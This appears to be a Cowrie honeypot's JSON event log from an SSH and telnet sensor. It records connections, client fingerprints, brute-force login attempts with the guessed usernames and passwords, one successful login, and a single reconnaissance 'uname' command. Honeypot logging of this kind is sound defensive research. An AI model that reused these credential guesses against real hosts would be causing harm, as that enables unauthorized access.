{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:57:58.028181Z","src_ip":"160.187.174.22","session":"e2f73b3077eb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:57:59.051839Z","src_ip":"103.15.222.183","session":"5549b3cb53b6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"esuser","password":"123","message":"login attempt [esuser/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:57:59.421961Z","src_ip":"160.187.174.22","session":"e2f73b3077eb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:58:00.676956Z","src_ip":"160.187.174.22","session":"e2f73b3077eb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":36916,"dst_ip":"159.203.135.109","dst_port":23,"session":"f4badd8655b2","protocol":"telnet","message":"New connection: 170.64.224.25:36916 (159.203.135.109:23) [session: f4badd8655b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:58:11.490630Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.12.251.137","src_port":59684,"dst_ip":"159.203.135.109","dst_port":22,"session":"727eb38a4165","protocol":"ssh","message":"New connection: 198.12.251.137:59684 (159.203.135.109:22) [session: 727eb38a4165]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:58:24.116396Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:58:24.120018Z","src_ip":"198.12.251.137","session":"727eb38a4165","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:58:24.197017Z","src_ip":"198.12.251.137","session":"727eb38a4165","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"kraken2024","message":"login attempt [root/kraken2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:58:24.400544Z","src_ip":"198.12.251.137","session":"727eb38a4165","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:58:25.469212Z","src_ip":"198.12.251.137","session":"727eb38a4165","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":45118,"dst_ip":"159.203.135.109","dst_port":22,"session":"b6232fef43d4","protocol":"ssh","message":"New connection: 160.187.174.22:45118 (159.203.135.109:22) [session: b6232fef43d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:58:26.148522Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:58:26.152688Z","src_ip":"160.187.174.22","session":"b6232fef43d4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:58:26.391068Z","src_ip":"160.187.174.22","session":"b6232fef43d4","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"ftpuser","password":"ftpuser","message":"login attempt [ftpuser/ftpuser] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:58:27.107636Z","src_ip":"160.187.174.22","session":"b6232fef43d4","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:58:27.621660Z","src_ip":"160.187.174.22","session":"b6232fef43d4","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:58:27.623944Z","src_ip":"160.187.174.22","session":"b6232fef43d4","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:58:27.868869Z","src_ip":"160.187.174.22","session":"b6232fef43d4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:58:27.872880Z","src_ip":"160.187.174.22","session":"b6232fef43d4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":41270,"dst_ip":"159.203.135.109","dst_port":23,"session":"b603a71071b5","protocol":"telnet","message":"New connection: 170.64.224.25:41270 (159.203.135.109:23) [session: b603a71071b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:58:29.937362Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.4","src_port":55234,"dst_ip":"10.17.0.5","dst_port":22,"session":"47151d407b55","protocol":"ssh","message":"New connection: 91.92.40.4:55234 (10.17.0.5:22) [session: 47151d407b55]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:58:34.543826Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:58:34.597838Z","src_ip":"91.92.40.4","session":"47151d407b55","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:58:34.783396Z","src_ip":"91.92.40.4","session":"47151d407b55","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"321","message":"login attempt [user/321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:58:35.063200Z","src_ip":"91.92.40.4","session":"47151d407b55","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:58:36.146390Z","src_ip":"91.92.40.4","session":"47151d407b55","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.80.191.116","src_port":54412,"dst_ip":"10.17.0.5","dst_port":23,"session":"8b4c8da28865","protocol":"telnet","message":"New connection: 91.80.191.116:54412 (10.17.0.5:23) [session: 8b4c8da28865]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:58:47.164754Z"}
{"eventid":"cowrie.session.closed","duration":18.987590789794922,"message":"Connection lost after 18 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:58:48.924814Z","src_ip":"170.64.224.25","session":"b603a71071b5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":55154,"dst_ip":"159.203.135.109","dst_port":22,"session":"b7d9804edca7","protocol":"ssh","message":"New connection: 160.187.174.22:55154 (159.203.135.109:22) [session: b7d9804edca7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:58:54.193412Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:58:54.196872Z","src_ip":"160.187.174.22","session":"b7d9804edca7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:58:54.433601Z","src_ip":"160.187.174.22","session":"b7d9804edca7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.32611680030823,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:58:54.816655Z","src_ip":"170.64.224.25","session":"f4badd8655b2","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"esuser","password":"esuser123","message":"login attempt [esuser/esuser123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:58:55.379962Z","src_ip":"160.187.174.22","session":"b7d9804edca7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:58:56.624755Z","src_ip":"160.187.174.22","session":"b7d9804edca7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":13.036582469940186,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:59:00.201225Z","src_ip":"91.80.191.116","session":"8b4c8da28865","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.169.180.166","src_port":55078,"dst_ip":"10.17.0.5","dst_port":22,"session":"2c3a6e2d4a4d","protocol":"ssh","message":"New connection: 192.169.180.166:55078 (10.17.0.5:22) [session: 2c3a6e2d4a4d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:59:15.807830Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:59:15.811788Z","src_ip":"192.169.180.166","session":"2c3a6e2d4a4d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:59:15.876231Z","src_ip":"192.169.180.166","session":"2c3a6e2d4a4d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"199.192.25.149","src_port":35012,"dst_ip":"159.203.135.109","dst_port":22,"session":"db6576714d0e","protocol":"ssh","message":"New connection: 199.192.25.149:35012 (159.203.135.109:22) [session: db6576714d0e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:59:15.961933Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:59:15.966050Z","src_ip":"199.192.25.149","session":"db6576714d0e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:59:16.030854Z","src_ip":"199.192.25.149","session":"db6576714d0e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"NFT#M@st3r$P@ss","message":"login attempt [root/NFT#M@st3r$P@ss] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:59:16.071438Z","src_ip":"192.169.180.166","session":"2c3a6e2d4a4d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"scroll789","message":"login attempt [root/scroll789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:59:16.227060Z","src_ip":"199.192.25.149","session":"db6576714d0e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:59:17.143107Z","src_ip":"192.169.180.166","session":"2c3a6e2d4a4d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:59:17.294600Z","src_ip":"199.192.25.149","session":"db6576714d0e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"46.19.67.181","src_port":49106,"dst_ip":"159.203.135.109","dst_port":22,"session":"6b366eb48fc9","protocol":"ssh","message":"New connection: 46.19.67.181:49106 (159.203.135.109:22) [session: 6b366eb48fc9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:59:25.013816Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:59:25.017718Z","src_ip":"46.19.67.181","session":"6b366eb48fc9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":56476,"dst_ip":"159.203.135.109","dst_port":22,"session":"124e8b8d1dae","protocol":"ssh","message":"New connection: 160.187.174.22:56476 (159.203.135.109:22) [session: 124e8b8d1dae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:59:25.032747Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:59:25.042489Z","src_ip":"160.187.174.22","session":"124e8b8d1dae","protocol":"ssh"}
